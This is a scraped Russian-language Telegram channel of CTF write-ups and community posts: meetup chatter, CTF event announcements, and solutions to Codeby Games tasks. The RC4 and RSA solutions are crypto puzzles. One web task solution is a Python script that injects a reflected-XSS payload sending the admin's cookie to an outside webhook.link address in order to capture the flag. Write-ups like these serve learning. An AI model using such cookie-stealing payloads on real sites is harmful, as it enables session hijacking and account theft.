Райтапы по CTF{2025}
2.83K subscribers
215 photos
25 videos
87 files
393 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
🔥7🥰42
Ищите ребятки, включайте OSINT, подсказка, 31 ряд

Буду тут 15-20 минут

Подсказка, зеленый бейдж
🔥4🖕32
Котятки, простите, бегу в 21 зал
3🖕2
В 21 очень скучно
🤔2🖕21
Ребята, кто хочет встретиться предлагаю в 16:30 справа от главной сцены

У меня будет зеленый бейджик
👍8🖕21
#WEB Клиент всегда прав
Reflected XSS

Ссылка на задание 🚩

От: @exited3n, автор канала @pt_soft


import requests
import json

webhook_api_url = 'https://webhook.link/api/new'

json_hook = json.loads(requests.get(webhook_api_url).text)
webhook_url = json_hook['routes']['webhook']
webhook_inspect_url = json_hook['routes']['inspect'].get('html')
webhook_inspect_json = json_hook['routes']['inspect'].get('api')
webhook = requests.post(f'http://62.173.140.174:16013/?report=http://62.173.140.174:16013/?search=<script>document.location="{webhook_url}?"%2bdocument.cookie</script>')

webhook_data = requests.get(webhook_inspect_url)
webhook_json = json.loads(requests.get(webhook_inspect_json).text)
flag = json.dumps(webhook_json['callbacks'][0]['args']['flag'], indent=4)

print(f'Open URL in your browser: {webhook_inspect_url}')
print(flag)

#codebygames
Please open Telegram to view this post
VIEW IN TELEGRAM
👍52
Друзья, коллеги, подписчики.

Недавно наш канал перевалил за 1000 подписчиков и мы сказали: Дальше — больше.

Время пришло!

Мы открываем регистрацию участников на HACK OSINT CTF 2024.

Организаторы мероприятия:

- Northern Palmyra;
- NullByte | Open Security;

Призовой фонд мероприятия составляет 2600$, а также множество цифровых наград от различных телеграм-сервисов и ещё несколько приятных сюрпризов.

Зарегистрироваться можно на hackosint.net

Добавляйтесь в телеграм-группу мероприятия, чтобы быть на связи и не пропускать важных новостей.

Побороться за награды можно как в команде, так и в индивидуальном зачете !


Северная Пальмира & Intelligence guild

#Intelligence_event
4🤔1
Привет кибер-котлеты!

После пхд можно выдохнуть и возвращаться в нормальный режим работы. Кстати, как вам пхд? Пиши в комментах. Вот вам райтапчик по новой таске Codeby

#pwn Имя от @Delinester

Описание от автора и ссылка на таск:
https://skillful-warrior-e87.notion.site/Name-PWN-Writeup-by-Delinester-fd5a8b9206534f95b990b9d50ce51fb5

#codebygames
👍4🔥21
Forwarded from VKACTF [Новости]
This media is not supported in your browser
VIEW IN TELEGRAM
⚔️Прошел ровно год с предыдущих соревнований VKACTF, и мы вновь возвращаемся на поля киберсражений⚔️

🚩 Итак, всероссийские соревнования VKACTF 2024 стартуют 1 июня в 18:00 и продлятся 24 часа

🏆Соревнования будут проводиться в двух зачетах: общем и специальном

🇷🇺В общем зачете могут участвовать студенты из России
🪖В специальном зачете - курсанты ВУЗов Силовых структур РФ

🏅Победители и призеры соревнований будут награждены ценными призами, о которых мы расскажем чуть позже!

👥Количество участников в команде - до 5 человек

✏️Регистрация на платформе открывается 25 мая

Канал с новостями: @vkactf
🗣Чат поддержки: @vkactf_chat
4
#crypto
Нулевой шифр
От
@Max_RSC (ТОП-10 на платформе Codeby Games)

Ссылка на задание

Для решения таска потребуется уверенный навык программирования на Python. Надеюсь, это понятно.

Сначала заглянем в request.txt. В GET-запросе видим параметр FLAG со значением в виде строки, обернутой в base64:

FLAG=lUmU56gHyTe0DabyGJIZEI9mGyx/4NG1tX8yhml1KmQWEdfQ3TNNkU3z1w==

Скопируем эту строку куда-нибудь — еще пригодится. Про файл request.txt можно забыть, больше он не понадобится.

Идем в sourceCode.txt.
cipher = Cipher(algorithms.ARC4(hashed_key), mode=None, backend=default_backend())

Эта строка сообщает нам о том, что используется алгоритм шифрования RC4, он же ARC4, он же Rivest Cipher 4. По сегодняшним меркам этот алгоритм шифрования считается устаревшим и больше не является криптографически безопасным.
FLAG = '******{***********************************}'.encode()
key = FLAG[:6]

Эти строки сообщают нам о том, что ключ — это первые шесть символов флага. Другими словами, CODEBY.
hashed_key = hashlib.sha256(key).digest()[:16]

Эта строка сообщает нам о том, что ключ хешируется, но для шифрования используются лишь первые 16 байт ключа. Мы получили всю необходимую информацию и теперь можем с легкостью расшифровать флаг. Кстати, не рекомендую делать это посредством онлайн-декодера — скорее всего, у вас ничего не получится, да и необходимости в этом нет. Все что нужно сделать — это лишь немного переписать код. Приступаем:
key = b'CODEBY'
FLAG= base64.b64decode('lUmU56gHyTe0DabyGJIZEI9mGyx/4NG1tX8yhml1KmQWEdfQ3TNNkU3z1w==')

Третью, четвертую и пятую строки можно скопировать из функции без изменений.

Прилагаю скрипт целиком с моими комментариями:
# Подключаем нужные библиотеки (или устанавливаем, если их нет)
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import base64
import hashlib

# Декодируем флаг из base64
FLAG= base64.b64decode('lUmU56gHyTe0DabyGJIZEI9mGyx/4NG1tX8yhml1KmQWEdfQ3TNNkU3z1w==')
# Обратите внимание, что ключ — это байтовая строка
key = b'CODEBY'
# Хешируем ключ, но используем лишь его первые 16 байт
hashed_key = hashlib.sha256(key).digest()[:16]
# Указываем, что хотим использовать алгоритм шифрования ARC4
cipher = Cipher(algorithms.ARC4(hashed_key), mode=None, backend=default_backend())
encryptor = cipher.encryptor()
# Передаем флаг на вход функции, которая производит расшифровку
ct = encryptor.update(FLAG) + encryptor.finalize()
# Печатаем флаг
print(ct)

Выполняем скрипт и получаем флаг.

Рекомендую не бездумно копировать скрипт, а подумать над прочитанным и написать скрипт самостоятельно. Помните, что цель решения таска — это не получить флаг и чуть-чуть подняться в рейтинге, а научиться чему-нибудь новому.

#codebygames
11🔥1
Forwarded from Purple Chronicles (Hunter Biden)
Разбор задания "Точка невозврата" с платформы Codeby Games🚩
https://telegra.ph/Codeby-Games-Point-of-no-return-writeup-09-10

Сегодня продолжим тему race condition, но научимся использовать другие средства для эксплуатации уязвимости. В этот раз для решения задания средней сложности напишем Python-скрипт 👩‍💻 и познакомимся с расширением Turbo Intruder для Burp Suite😈

#пентест #web #race
Please open Telegram to view this post
VIEW IN TELEGRAM
🫡31❤‍🔥1🔥1👏1
Занимаюсь благотворительностью! Задонатил в призовой фонд HackOsint, который пройдет 21.06.2024 немножко крипто-монет

Начинающим кибер-котлеткам я советую участвовать и прокачивать скиллы

Профессиональных кибер-котлет я прошу по возможности помогать малышам своими знаниями, а так же организаторам чеканной монетой

Лучшее, что мы можем делать это то, что мы сделали сами

Думаю райтапчики с hackosint будут появляться в моем канале. Так что никто не останется без райтапчиков

С оргами на связи 📞

https://t.me/hackOSINTCTF
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7👍1
Channel name was changed to «Райтапы по CTF{2024}»
#crypto
Веселый RSA
От @Max_RSC (ТОП-10 на платформе Codeby Games)

Ссылка на задание

Даны три шифртекста, которые представляют собой одно и то же сообщение. Подсказка намекает, что Боб плохо разбирается в RSA, поэтому при шифровании допустил серьезную ошибку. Действительно, мы видим, что вместо стандартной экспоненты e = 65537 он использовал значения 5, 7 и 13, a модули n1, n2 и n3 настолько малы, что с легкостью раскладываются на множители. Это можно назвать критической уязвимостью.

Если мы возьмем первое по счету сообщение и попробуем вычислить приватную экспоненту d, то поймем, что это невозможно:
>>> d = pow(e, -1, phi)
Traceback (most recent call last): File "<stdin>", line 1, in <module> ValueError: base is not invertible for the given modulus

На простом языке это означает, что в процессе шифрования пользователь допустил фатальную ошибку.

Возьмем второе по счету сообщение и попробуем найти приватную экспоненту d – то же самое:
>>> d = pow(e, -1, phi)
Traceback (most recent call last): File "<stdin>", line 1, in <module> ValueError: base is not invertible for the given modulus

Возьмем третье по счету сообщение. Похоже, что это сообщение было зашифровано правильно, а значит, можно вычислить d:
>>> d = pow(e, -1, phi)
>>> d
# 288613

После нахождения d мы с легкостью расшифровываем шифртекст:
>>> message = pow(c, d, n) 

Мы получили трехзначное число, которое, разумеется, я вам не покажу, чтобы вы не жульничали, а решили таск самостоятельно и следовательно, научились чему-нибудь новому.

Считаем от этого числа хеш-сумму по алгоритму SHA256:
>>> from hashlib import sha256
>>> result = sha256(str(message).encode()).hexdigest()

Получившуюся строку обoрачиваем в CODEBY и сдаем флаг.

#codebygames
9🔥2